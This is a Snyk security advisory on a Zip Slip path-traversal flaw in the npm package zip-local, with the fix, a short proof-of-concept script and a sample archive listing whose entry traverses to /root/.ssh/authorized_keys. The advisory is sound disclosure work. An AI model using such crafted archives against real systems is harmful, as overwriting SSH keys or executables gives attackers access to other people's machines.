Arbitrary File Write via Archive Extraction (Zip Slip) Affecting zip-local package, versions <0.3.5


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.46% (77th percentile)

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  • Snyk IDSNYK-JS-ZIPLOCAL-2327477
  • published25 Jan 2022
  • disclosed29 Dec 2021
  • credit7he6uzzer

Introduced: 29 Dec 2021

CVE-2021-23484  (opens in a new tab)
CWE-29  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade zip-local to version 0.3.5 or higher.

Overview

zip-local is a to zip and unzip local directories

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) which can lead to an extraction of a crafted file outside the intended extraction directory.

PoC:

var zipper = require('zip-local');

zipper.unzip("zipslip.zip", function(error, unzipped) {

if(!error) {
// extract to the current working directory
unzipped.save(null, function() { });

var unzippedfs = unzipped.memory();

}
});

Execute the following commands

1. npm install zip-local # Install affected module
2. zipslip example file can be found at - https://github.com/snyk/zip-slip-vulnerability/blob/master/archives/zip-slip.zip
3. node poc.js # Run the PoC

Details

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:


+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

CVSS Scores

version 3.1